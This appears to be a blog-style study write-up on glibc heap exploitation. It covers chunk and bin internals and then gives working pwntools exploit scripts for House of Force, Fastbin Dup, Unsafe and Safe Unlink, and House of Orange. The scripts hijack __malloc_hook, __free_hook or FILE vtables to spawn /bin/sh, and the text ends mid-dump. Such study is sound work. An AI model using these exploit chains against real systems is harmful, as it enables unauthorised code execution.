Fine, I'll Learn Heap Exploitation
2024-12-21
Table of Contents
Basics
Malloc
The malloc
function dynamically allocates memory and returns a pointer to the allocated chunk.
// /-- size of chuck
void *a = malloc(16);
// \-- pointer to memory
Key Concepts
- Minimum Chunk Size: The minimum chunk size typically includes 24 bytes, with 16 bytes allocated for metadata and 8 bytes for user data.
- In-line Metadata: The chunk contains a size field, which stores the size of the entire chunk, including both metadata and user data.
- User’s View: The pointer returned by malloc points to the user data section of the chunk, which is where the program interacts with the allocated memory.
- Malloc Internals: Internally, malloc uses 16 bytes of the chunk for managing the allocation, including the size field and possibly other metadata.
- Top Chunk: The top chunk represents the remaining free memory. If its size is zero, malloc will attempt to extend the heap by requesting more memory from the system.
GDB
To view the state of the heap after several malloc calls, use the vis command in GDB:
void* a = malloc(9);
malloc(1);
malloc(0);
After running the code, you can use the following GDB commands to inspect the heap:
pwndbg> vis
0x602000 0x0000000000000000 [ 0x0000000000000021 ........!.......
0x602010 0x0000000000000000 0x0000000000000000 ................
0x602020 0x0000000000000000 ] [ 0x0000000000000021 ........!.......
0x602030 0x0000000000000000 0x0000000000000000 ................
0x602040 0x0000000000000000 ] [ 0x0000000000000021 ........!.......
0x602050 0x0000000000000000 0x0000000000000000 ................
0x602060 0x0000000000000000 ] 0x0000000000020fa1 ................ <-- Top chunk
print <variable>
: Prints the value of a specific variable.dq <variable>
: Dumps the memory of a variable in double-quad-word format.xinfo <variable>
: Provides detailed information about a variable.
Chunks
Heap Chunks Anatomy (Allocated)
+-------+
Malloc Ptr. ==> ______| size |
Program Ptr. ==> | user data |
| |
+------+
Size field least significant bit is used for flags, zoomed in we can see the flags.
- NON_MAIN_ARENA
- IS_MMAPPED
- PREV_INUSE
Heap Chunks Anatomy (Free’d) // Fastbins
void* a = malloc(1);
void* b = malloc(1);
void* c = malloc(1);
free (a);
free (b);
free (c);
Freed chunks in fastbins are organized as singly linked, non-circular linked lists in LIFO order. When a chunk is freed, it is added to the start of the corresponding fastbin. The vis
and fastbins
commands in pwndbg
demonstrate this by showing that chunk a
is free’d and placed into the fastbin. GDB
gathers this data from the arena’s metadata. Overall, freed chunks are prepended to the linked list, and the arena updates the head to reflect the latest addition. Malloc first checks fastbins before taking from the top chunk.
pwndbg> vis
0x602000 0x0000000000000000 A[ 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x602010 0x0000000000000000 0x0000000000000000 ................
0x602020 0x0000000000000000 ] B[ 0x0000000000000021 ........!.......
0x602030 0x0000000000000000 0x0000000000000000 ................
0x602040 0x0000000000000000 ] C[ 0x0000000000000021 ........!.......
0x602050 0x0000000000000000 0x0000000000000000 ................
0x602060 0x0000000000000000 ] 0x0000000000020fa1 ................ <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x602000 ◂— 0
When chunk b
is freed, it is placed at the beginning of the fastbin list, pushing chunk a
down. The “user data” section of chunk b
now contains a forward pointer (fd
) to chunk a
.
0x602000 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x602010 0x0000000000000000 0x0000000000000000 ................
0x602020 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x602030 0x0000000000602000 0x0000000000000000 . `.............
0x602040 0x0000000000000000 0x0000000000000021 ........!.......
0x602050 0x0000000000000000 0x0000000000000000 ................
0x602060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk
// how to see the heap now:
0x602000 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x602010 0x0000000000000000 0x0000000000000000 ................
0x602020 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x602030 = fd* to chunk A = 0x0000000000000000 . `.............
0x602040 0x0000000000000000 0x0000000000000021 ........!.......
0x602050 0x0000000000000000 0x0000000000000000 ................
0x602060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk
When chunk c
is freed, it is placed at the top of the fastbin list, becoming the new head. The fastbin now holds chunks in this order: c -> b -> a
.
0x602000 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][2]
0x602010 0x0000000000000000 0x0000000000000000 ................
0x602020 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x602030 0x0000000000602000 0x0000000000000000 . `.............
0x602040 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0]
0x602050 0x0000000000602020 0x0000000000000000 `.............
0x602060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk
Arena’s
Arenas are where libc maintains non-inline metadata for memory allocation. A new arena is created each time a new thread calls malloc
for the first time. The main thread uses the special main_arena
, which resides in the libc data section.
In the main_arena
, we can observe the address of the top chunk and the starting address of the fastbin[0x20].
pwndbg> dq &main_arena 20
00007ffff7bb4b60 0000000000000000 0000000000000001
00007ffff7bb4b70 *0000000000602000 0000000000000000
00007ffff7bb4b80 0000000000000000 0000000000000000
00007ffff7bb4b90 0000000000000000 0000000000000000
00007ffff7bb4ba0 0000000000000000 0000000000000000
00007ffff7bb4bb0 0000000000000000 0000000000000000
00007ffff7bb4bc0 **0000000000602060 0000000000000000
00007ffff7bb4bd0 00007ffff7bb4bc0 00007ffff7bb4bc0
00007ffff7bb4be0 00007ffff7bb4bd0 00007ffff7bb4bd0
00007ffff7bb4bf0 00007ffff7bb4be0 00007ffff7bb4be0
House of Force (libc < 2.28)
The House of Force technique exploits heap vulnerabilities to gain arbitrary code execution by manipulating the top chunk and leveraging malloc to overwrite function pointers.
Exploit Primitive
- User Data Overflow: A user-controlled overflow allows corruption of the top chunk’s size field with a large value.
- Large Allocation: A large allocation can span across the heap, allowing you to target specific data, such as the top chunk or a desired function.
- Corrupting the Top Chunk: Once the top chunk’s size field is corrupted, an additional allocation is required to trigger changes.
- Arbitrary Malloc Requests: You can make arbitrary malloc requests to manipulate the heap.
Example heap state after manipulation:
0x603000 0x0000000000000000 0x0000000000000021 ........!.......
0x603010 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA <-- Top chunk
By corrupting the top chunk, it is possible to make it so large that it spans the entire heap, libraries, stack, and even the application’s .data section, allowing arbitrary code execution.
Code Execution
The goal of this exploit is to span the virtual address (VA) to __malloc_hook
, overwrite its address with the system()
function address, and then use a final malloc request to execute /bin/sh
by masquerading the size argument as the address.
Other Techniques:
- (ASLR Disabled): If ASLR is not enabled, stack-based attacks become less challenging.
- Stack: Not likely exploitable with ASLR enabled.
- (RelRO Disabled): With RelRO disabled, we can exploit the PLT (Procedure Linkage Table) and execute libc functions.
PLT
: Lazy linking of libc functions allows us to exploit function pointers.fini_array
: We can also hook function calls before program exit.
- Targeting Heap: The primary target is
__malloc_hook
, a function pointer used by malloc.- Libc Protections: Functions like
__exit_funcs
andtks_dtor_list
may be protected by pointer guards
- Libc Protections: Functions like
# Step 1: Corrupt the top chunk's size field
malloc(24, b"Y" * 24 + p64(0xffffffffffffffff)) # Change the top chunk size field
# Step 2: Calculate the distance to __malloc_hook
distance = (libc.sym.__malloc_hook - 0x20) - (heap + 0x20) # Adjust distance to account for previous malloc allocation
# Step 3: Overwrite __malloc_hook with the address of system()
malloc(distance, "/bin/sh\0") # Prepare the next allocation to overwrite __malloc_hook with system()
# Step 4: Overwrite __malloc_hook with system() and execute the shell
malloc(24, p64(libc.sym.system)) # Overwrite __malloc_hook with system address
binsh = heap + 0x30 # Adjust the binsh address for execution
malloc(binsh, "") # Final allocation to execute /bin/sh
heap just before overwrite, the function pointer is NULL
, thus skips
pwndbg> p __malloc_hook
$1 = (void *(* volatile)(size_t, const void *)) 0xdeadbeef
pwndbg> dq &__malloc_hook-2
00007ffff7bafc00 00007ffff7880bd0 ffff800008a53419
00007ffff7bafc10 00000000deadbeef 0000000000000000
Takeaways
- Chunk Allocation: Understand how chunks are allocated, and focus on overwriting the correct parts, like the top chunk.
- Additional Allocation: After corrupting the top chunk, you need an additional allocation that does not directly overlap with the target but is offset by 16 bytes to ensure proper overlap during the next allocation.
- Address Tracking: Always keep track of allocated memory addresses, as they will change based on previous allocations. This is essential for calculating distances and targeting the correct address.
Fastbin Dup (libc < 2.30)
Fastbin duplication relies on exploiting a double free vulnerability to allocate the same chunk twice for two different purposes. Here’s a summary of the steps involved:
Exploit Primitive
- Perform a double free, which allows the same memory chunk to be allocated multiple times.
- Ensure the victim chunk is not at the top of the fastbin when it is freed the second time.
- Manipulate the size field to prepare for arbitrary writes.
Overview
What does a double free look like in practice? Normally, it triggers an ABORT in the program, as the heap implementation includes a mitigation to prevent double free vulnerabilities. Specifically, this mitigation checks that the main arena’s top of the bin does not match the chunk address being freed:
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
However, this check does not account for scenarios where an intermediate chunk exists between the two frees, allowing us to bypass this mitigation. Here’s an example of the exploit setup:
chunk_A = malloc(0x28, b"A"*0x28)
chunk_B = malloc(0x28, b"B"*0x28)
free(chunk_A)
free(chunk_B)
free(chunk_A) # Double free
Using GDB
, we can inspect the state of the heap. After the double free, the arena points to 0x138c2000
, which has a forward pointer (fd
) to 0x138c2030
. That chunk, in turn, has an fd
back to 0x138c2000
, forming a circular linked list.
pwndbg> vis
0x138c2000 0x0000000000000000 0x0000000000000031 ........1....... <-- fastbins[0x30][0], fastbins[0x30][0]
0x138c2010 0x00000000138c2030 0x4141414141414141 0 ......AAAAAAAA
0x138c2020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x138c2030 0x4141414141414141 0x0000000000000031 AAAAAAAA1....... <-- fastbins[0x30][1]
0x138c2040 0x00000000138c2000 0x4242424242424242 . ......BBBBBBBB
0x138c2050 0x4242424242424242 0x4242424242424242 BBBBBBBBBBBBBBBB
0x138c2060 0x4242424242424242 0x0000000000020fa1 BBBBBBBB........ <-- Top chunk
pwndbg> fastbins
fastbins
0x30: 0x138c2000 —▸ 0x138c2030 ◂— 0x138c2000
Initially, this might seem confusing. Shouldn’t the linked list show fastbins[0x30][0]
and then fastbins[0x30][2]
? The double free introduces a circular reference: the fd
pointer of chunk_B (0x138c203
0) points back to chunk_A
, rather than extending the linked list. This circularity causes GDB to show fastbins[0x30][0]
twice.
the basic setup;
chunk_A = malloc(0x28, b"A"*0x28)
chunk_B = malloc(0x28, b"B"*0x28)
free(chunk_A)
free(chunk_B)
free(chunk_A) # Double free
Now use the allocate, to change the free’d chunk A, to point to whatever we want.
chunk_dup = malloc(0x28,p64(elf.sym.user)) # malicious chunk
At this point, the fastbin linked list looks like this:
pwndbg> fastbin
fastbins
0x30: 0x7ebf030 —▸ 0x7ebf000 —▸ 0x602010 (user) ◂— 0x58585858585858 /* 'XXXXXXX' */
If the size field of the chunk does not match the size of the fastbin, an error occurs during allocation. To bypass this, you must set up a valid size field for your target. To gain an arbitrary write primitive, set up the username field to control the size field:
# Set the username field.
username = b"A"*8 + p64(0x31) # This is our "size field".
io.sendafter(b"username: ", username)
io.recvuntil(b"> ")
chunk_A = malloc(0x28, b"A"*0x28)
chunk_B = malloc(0x28, b"B"*0x28)
free(chunk_A)
free(chunk_B)
free(chunk_A) # Double free, creating a circular list.
chunk_dup = malloc(0x28,p64(elf.sym.user)) # malicious chunk, overwriting chunk_A to point to target as the "next chunk".
# Get to our chunk_dup
chunk_C = malloc(0x28, b"A"*0x28)
chunk_D = malloc(0x28, b"A"*0x28)
# Allocate and overwrite the target.
chunk_user = malloc(0x28, b"pwned!\0") #Write over "target"
Code Execution
To achieve code execution, overwrite __malloc_hook
to point to system
. When there is no size field to manipulate, use find_fake_fast
to identify a fake chunk that matches __malloc_hook
:
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7ffb597b4b2d
prev_size: 0xfb597b0ee0000000
size: 0x78 (with flag bits: 0x7f)
fd: 0xfb59483a10000000
bk: 0xfb59483ed000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00
Adjust the allocation size to match 0x68
size field.
# Set the username field.
username = b"A"*8 + p64(0x31)
io.sendafter(b"username: ", username)
io.recvuntil(b"> ")
chunk_A = malloc(0x68, b"A"*0x28)
chunk_B = malloc(0x68, b"B"*0x28)
free(chunk_A)
free(chunk_B)
free(chunk_A) # Double free
chunk_dup = malloc(0x68,p64(libc.sym.__malloc_hook - 35)) # malicious chunk
chunk_C = malloc(0x68, b"A"*0x28)
chunk_D = malloc(0x68, b"B"*0x28)
chunk_user = malloc(0x68, b"Y"*19 + p64(libc.sym.system))
At this point we have taken over the __malloc_hook
execution to point to system. Finally, use a one-gadget
to pop a shell.
one_gadget $(ldd fastbin_dup | grep libc.so | cut -d' ' -f3)
0xc4dbf execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xc4ddf execve("/bin/sh", rbp-0x40, r12)
constraints:
address rbp-0x38 is writable
rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xc4de6 execve("/bin/sh", rbp-0x40, r12)
constraints:
address rbp-0x38 is writable
rax == NULL || {rax, rdi, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xe1fa1 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
Now place in the exploit code;
chunk_user = malloc(0x68, b"Y"*19 + p64(libc.address + 0xe1fa1 ))
Takeaways
- Controlling the size field is critical for exploiting fastbin dup.
- Fastbins are vulnerable to circular references from double free.
- malloc does not validate misaligned addresses.
- Using
one_gadget
simplifies exploiting the overwritten__malloc_hook
to execute code.
Unsafe Unlink (< libc 2.31)
The “Unsafe Unlink” vulnerability arises from improper integrity checks when unlinking chunks from the doubly linked list in memory allocators like malloc. This issue can be exploited to achieve arbitrary writes, leading to code execution.
- An overflow in the userdata
- in this case, a backwards consolidation. When a chunk is freed and not adjacent to the top chunk, it is added to the unsorted bin. Unsorted bin allocations are typically larger than 0x80. If two adjacent chunks are freed, they undergo consolidation.
void* a = malloc(0x88);
void* b = malloc(0x88);
free(b);
Upon freeing a chunk not adjacent to the top chunk, note the following:
- The
PREV_INUSE
flag in the chunk is cleared. - The last QWORD in the freed chunk’s userdata is interpreted as
prev_size
. ** - The chunk is linked into the unsorted bin.
0x602000 0x0000000000000000 A[ 0x0000000000000091 ................ <-- unsortedbin[all][0]
0x602010 0x00007ffff7bb4bc0 0x00007ffff7bb4bc0 .K.......K......
0x602020 0x0000000000000000 0x0000000000000000 ................
0x602030 0x0000000000000000 0x0000000000000000 ................
0x602040 0x0000000000000000 0x0000000000000000 ................
0x602050 0x0000000000000000 0x0000000000000000 ................
0x602060 0x0000000000000000 0x0000000000000000 ................
0x602070 0x0000000000000000 0x0000000000000000 ................
0x602080 0x0000000000000000 0x0000000000000000 ................
0x602090 **0x0000000000000090 ] B[ 0x0000000000000090 ................
0x6020a0 0x0000000000000000 0x0000000000000000 ................
0x6020b0 0x0000000000000000 0x0000000000000000 ................
0x6020c0 0x0000000000000000 0x0000000000000000 ................
0x6020d0 0x0000000000000000 0x0000000000000000 ................
0x6020e0 0x0000000000000000 0x0000000000000000 ................
0x6020f0 0x0000000000000000 0x0000000000000000 ................
0x602100 0x0000000000000000 0x0000000000000000 ................
0x602110 0x0000000000000000 0x0000000000000000 ................
0x602120 0x0000000000000000 0x0000000000000021 ........!.......
0x602130 0x0000000000000000 0x0000000000000000 ................
0x602140 0x0000000000000000 0x0000000000020ec1 ................ <-- Top chunk
The unsorted bin is a doubly linked circular list, following a First-In-Last-Out (FILO) strategy:
- Newly freed chunks are added to the head.
- Allocated chunks are taken from the tail. When chunk B is freed and adjacent chunks are also free:
- The
prev_size
field is updated. - The
size field
becomes0x121
. - The
PREV_INUSE
flag of the smaller allocation is cleared.
0x602000 0x0000000000000000 AB[ 0x0000000000000121 ........!....... <-- unsortedbin[all][0]
0x602010 0x00007ffff7bb4bc0 0x00007ffff7bb4bc0 .K.......K......
0x602020 0x0000000000000000 0x0000000000000000 ................
0x602030 0x0000000000000000 0x0000000000000000 ................
0x602040 0x0000000000000000 0x0000000000000000 ................
0x602050 0x0000000000000000 0x0000000000000000 ................
0x602060 0x0000000000000000 0x0000000000000000 ................
0x602070 0x0000000000000000 0x0000000000000000 ................
0x602080 0x0000000000000000 0x0000000000000000 ................
0x602090 0x0000000000000090 0x0000000000000090 ................
0x6020a0 0x0000000000000000 0x0000000000000000 ................
0x6020b0 0x0000000000000000 0x0000000000000000 ................
0x6020c0 0x0000000000000000 0x0000000000000000 ................
0x6020d0 0x0000000000000000 0x0000000000000000 ................
0x6020e0 0x0000000000000000 0x0000000000000000 ................
0x6020f0 0x0000000000000000 0x0000000000000000 ................
0x602100 0x0000000000000000 0x0000000000000000 ................
0x602110 0x0000000000000000 0x0000000000000000 ................
0x602120 0x0000000000000120 ] 0x0000000000000020 ....... .......
0x602130 0x0000000000000000 0x0000000000000000 ................
0x602140 0x0000000000000000 0x0000000000020ec1 ................ <-- Top chunk
What makes it “unsafe”? Unlinking a chunk from a doubly linked list involves these steps:
- Access the victim chunk.
- Follow the victim’s
fd
pointer and replace itsbk
pointer with the victim’sbk
. - Follow the victim’s
bk
pointer and replace itsfd
pointer with the victim’sfd
. or in code;
{
BK = P->bk;
FD = P->fd;
FD->bk = BK
BK->fd = FD;
}
Critical issue: No integrity checks are performed on these operations. If an attacker tampers with the fd
or bk values before unlinking, it can lead to arbitrary writes by redirecting pointers to controlled addresses.
Code Execution
With two allocated and freed chunks, we can achieve arbitrary write exploitation by setting up a fake chunk and crafting the metadata to exploit the unlink operation.
Allocate two chunks of the same size and overflow chunk A into chunk B’s metadata:
edit(small_chunk_A, p64(fd) + p64(bk) + p8(0x00) * 0x70 + prev_size + fake_size)
Here, the overflow modifies:
fd
andbk
pointers to controlled addresses.- The
PREV_INUSE
flag.
Since the PREV_INUSE
flag is cleared, create a fake free chunk with valid-looking metadata.
Overwrite the __free_hook pointer to execute shellcode:
fd = libc.sym.__free_hook - 0x18
bk = heap + 32
prev_size = p64(0x90)
fake_size = p64(0x90)
Full exploit code:
# Prepare execve("/bin/sh") shellcode with a jmp over where the `fd` will be written.
shellcode = asm("jmp shellcode;" + "nop;"*0x16 + "shellcode:" + shellcraft.execve("/bin/sh"))
# Request a small chunk.
small_chunk_A = malloc(0x88)
small_chunk_B = malloc(0x88)
fd = libc.sym.__free_hook - 0x18
bk = heap + 32
prev_size = p64(0x90)
fake_size = p64(0x90)
# Edit the small chunk.
edit(small_chunk_A, p64(fd) + p64(bk) + shellcode + p8(0x00) * (0x70-len(shellcode)) + prev_size + fake_size)
# Free the small chunk.
free(small_chunk_B)
free(small_chunk_A)
Takeaways
- Heap Leak: Required to bypass ASLR.
- NX Bypass: Necessary for shellcode execution.
- Target Binary: Must use vulnerable allocator behavior.
Safe Unlinking
Now to modern times! To make unlinking more safe, integrity checks are now implemented:
abort (); if{
fd->bk != p
bk->fd != p
}
Basically, if the victim chunk fd
is followed, and the chunk does not have a bk
pointing back than abort.
And vice versa, if the victim chunk bk
is followed, and the chunk does not have a fd
pointing back thank abort.
Something to think about when going after this vulnerabilty. The thread needs to manage it’s pointers, where is the binary storing these pointers, stack
? data
section? bss
section? In this instance, it is stored in the data section in an array called m_array
.
pwndbg> p m_array
$1 = {{
user_data = 0xdeadbeef,
request_size = 0
}, {
user_data = 0x0,
request_size = 0
}}
Now, form a fake chunk in the user data to pass the safe unlinking mitigation, the heap should look like; A = the real chunk AF = Fake chunk A
vis
0x3a6ab000 A[0x0000000000000000 0x0000000000000091 ................
0x3a6ab010 AF[0x0000000000000000 0x0000000000000080 ........P.......
0x3a6ab020 0x0000000000602048 0x0000000000602050 H `.....P `.....
0x3a6ab030 0x0000000000000000 0x0000000000000000 ................
0x3a6ab040 0x0000000000000000 0x0000000000000000 ................
0x3a6ab050 0x0000000000000000 0x0000000000000000 ................
0x3a6ab060 0x0000000000000000 0x0000000000000000 ................
0x3a6ab070 0x0000000000000000 0x0000000000000000 ................
0x3a6ab080 0x0000000000000000 0x0000000000000000 ................
0x3a6ab090 0x0000000000000080]AF B[0x0000000000000090 ................
0x3a6ab0a0 0x0000000000000000 0x0000000000000000 ................
0x3a6ab0b0 0x0000000000000000 0x0000000000000000 ................
0x3a6ab0c0 0x0000000000000000 0x0000000000000000 ................
0x3a6ab0d0 0x0000000000000000 0x0000000000000000 ................
0x3a6ab0e0 0x0000000000000000 0x0000000000000000 ................
0x3a6ab0f0 0x0000000000000000 0x0000000000000000 ................
0x3a6ab100 0x0000000000000000 0x0000000000000000 ................
0x3a6ab110 0x0000000000000000 0x0000000000000000 ................
0x3a6ab120 0x0000000000000000 0x0000000000020ee1 ................ <-- Top chunk
pwndbg> dq m_array-2
0000000000602040 0000000000000000 0000000000000000
0000000000602050 0000000000000000 0000000000000000
0000000000602060 000000003a6ab010 0000000000000088
0000000000602070 000000003a6ab0a0 0000000000000088
pwndbg> p *((struct malloc_chunk*)0x3a6ab010).fd
$1 = {
mchunk_prev_size = 0,
mchunk_size = 0,
fd = 0x0,
bk = 0x3a6ab010,
fd_nextsize = 0x88,
bk_nextsize = 0x3a6ab0a0
}
pwndbg> p *((struct malloc_chunk*)0x3a6ab010).bk
$2 = {
mchunk_prev_size = 0,
mchunk_size = 0,
fd = 0x3a6ab010,
bk = 0x88,
fd_nextsize = 0x3a6ab0a0,
bk_nextsize = 0x88
}
Inspecting the heap after free
-ing the heap now shows the following;
pwndbg> dq mp_.sbrk_base
0000000033546000 0000000000000000 0000000000000091
0000000033546010 0000000000000000 0000000000020ff1
0000000033546020 0000000000602048 0000000000602050
0000000033546030 0000000000000000 0000000000000000
Code Execution
# Request 2 small chunks.
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
# Prepare fake chunk metadata.
fd = elf.sym.m_array - 24
bk = elf.sym.m_array - 16
prev_size = 0x80
fake_size = 0x90
edit(chunk_A, p64(0) + p64(0x80) + p64(fd) + p64(bk) + p8(0)*0x60 + p64(prev_size) + p64(fake_size))
free(chunk_B)
edit(0, p64(0x00)*3 + p64(libc.sym.__free_hook-8))
edit(0, b"/bin/sh\0" + p64(libc.sym.system))
free(chunk_A)
io.interactive()
TakeAways
too many tbh.
House of Orange (libc 2.23)
We begin with two differently sized chunks allocated via malloc
:
Allocated chunk | PREV_INUSE
Addr: 0x555555603000
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x555555603020
Size: 0xfd0 (with flag bits: 0xfd1)
Unsorted Bin // Partial Unlink
When freeing a chunk in glibc, one of three things can happen:
- The chunk is linked to fast bins.
- It is consolidated into the top chunk.
- It is linked to the unsorted bin.
If a chunk is added to the unsorted bin, it is sorted during subsequent malloc calls. Unsorted bin chunks are eventually moved to small bins or large bins, both of which are circular doubly linked lists. malloc searches for an exact fit, iterating over these bins back-to-front.
The partial unlinking vulnerability occurs because the fd
pointer of the chunk in the unsorted bin is followed, and the victim chunk’s bk pointer is overwritten. This behavior can be exploited to gain control over memory.
chunk_A = malloc(0x88)
chunk_B = malloc(0x18)
free(chunk_A)
After freeing chunk_A, it is placed in the unsorted bin. The exploit leverages this to leak the main_arena address (a libc leak):
pwndbg> vis
0x2fbeb000 0x00007f3d31f99b78 0x0000000000000091 x..1=........... <-- unsortedbin[all][0]
0x2fbeb010 0x00000000deadbeef 0x000000002fbeaff0 .........../....
0x2fbeb020 0x0000000000000000 0x0000000000000000 ................
0x2fbeb030 0x0000000000000000 0x0000000000000000 ................
0x2fbeb040 0x0000000000000000 0x0000000000000000 ................
0x2fbeb050 0x0000000000000000 0x0000000000000000 ................
0x2fbeb060 0x0000000000000000 0x0000000000000000 ................
0x2fbeb070 0x0000000000000000 0x0000000000000000 ................
0x2fbeb080 0x0000000000000000 0x0000000000000000 ................
0x2fbeb090 0x0000000000000090 0x0000000000000021 ........!.......
0x2fbeb0a0 0x0000000000000000 0x0000000000000000 ................
0x2fbeb0b0 0x0000000000000000 0x0000000000020f51 ........Q....... <-- Top chunk
When the break
system call is used to extend the heap, malloc
checks if the new memory is contiguous with the top chunk. If not, it frees the remaining top chunk and updates the main_arena
to point to the new top chunk. Overwriting the top chunk size with a small value can trigger this behavior, initiating the chain of exploitation.
File Stream Exploitation
To escalate the attack, the exploit targets libc’s FILE
structure, a critical part of libc’s file I/O operations. Here’s the structure of FILE using dt FILE
or ptype FILE
depending on preference.
FILE
+0x0000 _flags : int
+0x0008 _IO_read_ptr : char *
+0x0010 _IO_read_end : char *
+0x0018 _IO_read_base : char *
+0x0020 _IO_write_base : char *
+0x0028 _IO_write_ptr : char *
+0x0030 _IO_write_end : char *
+0x0038 _IO_buf_base : char *
+0x0040 _IO_buf_end : char *
+0x0048 _IO_save_base : char *
+0x0050 _IO_backup_base : char *
+0x0058 _IO_save_end : char *
+0x0060 _markers : struct _IO_marker *
+0x0068 _chain : struct _IO_FILE *
+0x0070 _fileno : int
+0x0074 _flags2 : int
+0x0078 _old_offset : __off_t
+0x0080 _cur_column : unsigned short
+0x0082 _vtable_offset : signed char
+0x0083 _shortbuf : char [1]
+0x0088 _lock : _IO_lock_t *
+0x0090 _offset : __off64_t
+0x0098 _codecvt : struct _IO_codecvt *
+0x00a0 _wide_data : struct _IO_wide_data *
+0x00a8 _freeres_list : struct _IO_FILE *
+0x00b0 _freeres_buf : void *
+0x00b8 _prevchain : struct _IO_FILE **
+0x00c0 _mode : int
+0x00c4 _unused2 : char [20]
This structure is part of a singly linked list managed by _IO_list_all
, which points to the head of the list. Exploiting this allows us to hijack function pointers and redirect control flow.
dt "struct _IO_FILE_plus"
struct _IO_FILE_plus
+0x0000 file : FILE
+0x00d8 vtable : const struct _IO_jump_t *
struct _IO_jump_t {
...
void (*__overflow)();
};
The entire exploit
A chunk is freed and corrupted using the unsorted bin partial unlink technique:
small_malloc()
# Edit the 1st small chunk.
edit(b"Y" * 24 + p64(0x1000 - 0x20 + 1))
large_malloc()
edit(b"Y" * 24 + p64(0x21) + p64(0) + p64(libc.sym._IO_LIST_ALL-16))
small_malloc()
This will attack the _IO_list_all
function that clears out buffer when a program exits. Double checking by viewing the _IO_list_all
pwndbg> p _IO_list_all
$1 = (_IO_FILE_plus *) 0x7fdd19199b78 <main_arena+88>
Now we need to place our “File stream” object
flags = b"/bin/sh\0"
size = 0x61
fd = 0x00
bk = libc.sym._IO_list_all - 16
write_base = 0x1
write_ptr = 0x2
mode = 0x0
vtable_ptr = heap + 0xd8
overflow = libc.sym.system
fake_io_file = flags + p64(size) +\
p64(fd) + p64(bk) +\
p64(write_base) + p64(write_ptr) +\
p64(0)*18 + p32(mode) + p32(0) +\
p64(0) + p64(overflow) + p64(vtable_ptr)
edit(b"X"*16 + fake_io_file)
small_malloc()
io.interactive()
resulting in the following;
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = 1408446416,
_IO_read_ptr = 0x0,
_IO_read_end = 0x562d53f11020 "/bin/sh",
_IO_read_base = 0x7f39a679a510 "",
_IO_write_base = 0x7f39a6799b88 <main_arena+104> " \020\361S-V",
_IO_write_ptr = 0x7f39a6799b88 <main_arena+104> " \020\361S-V",
_IO_write_end = 0x7f39a6799b98 <main_arena+120> "\210\233y\2469\177",
_IO_buf_base = 0x7f39a6799b98 <main_arena+120> "\210\233y\2469\177",
_IO_buf_end = 0x7f39a6799ba8 <main_arena+136> "\230\233y\2469\177",
_IO_save_base = 0x7f39a6799ba8 <main_arena+136> "\230\233y\2469\177",
_IO_backup_base = 0x7f39a6799bb8 <main_arena+152> "\250\233y\2469\177",
_IO_save_end = 0x7f39a6799bb8 <main_arena+152> "\250\233y\2469\177",
_markers = 0x562d53f11020,
_chain = 0x562d53f11020,
_fileno = -1501979688,
_flags2 = 32569,
_old_offset = 139885582851032,
_cur_column = 39912,
_vtable_offset = 121 'y',
_shortbuf = "\246",
_lock = 0x7f39a6799be8 <main_arena+200>,
_offset = 139885582851064,
_codecvt = 0x7f39a6799bf8 <main_arena+216>,
_wide_data = 0x7f39a6799c08 <main_arena+232>,
_freeres_list = 0x7f39a6799c08 <main_arena+232>,
_freeres_buf = 0x7f39a6799c18 <main_arena+248>,
__pad5 = 139885582851096,
_mode = -1501979608,
_unused2 = "9\177\000\000(\234y\2469\177\000\0008\234y\2469\177\000"
},
vtable = 0x7f39a6799c38 <main_arena+280>
}
pwndbg> p *_IO_list_all.file.chain
There is no member named chain.
pwndbg> p *_IO_list_all.file._chain
$2 = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7f39a6799bc8 <main_arena+168> "\270\233y\2469\177",
_IO_read_base = 0x7f39a6799bc8 <main_arena+168> "\270\233y\2469\177",
_IO_write_base = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_ptr = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 12 times>, "0\370C\2469\177\000"
}
pwndbg> p *((struct _IO_FILE_plus)$2).vtable
$3 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
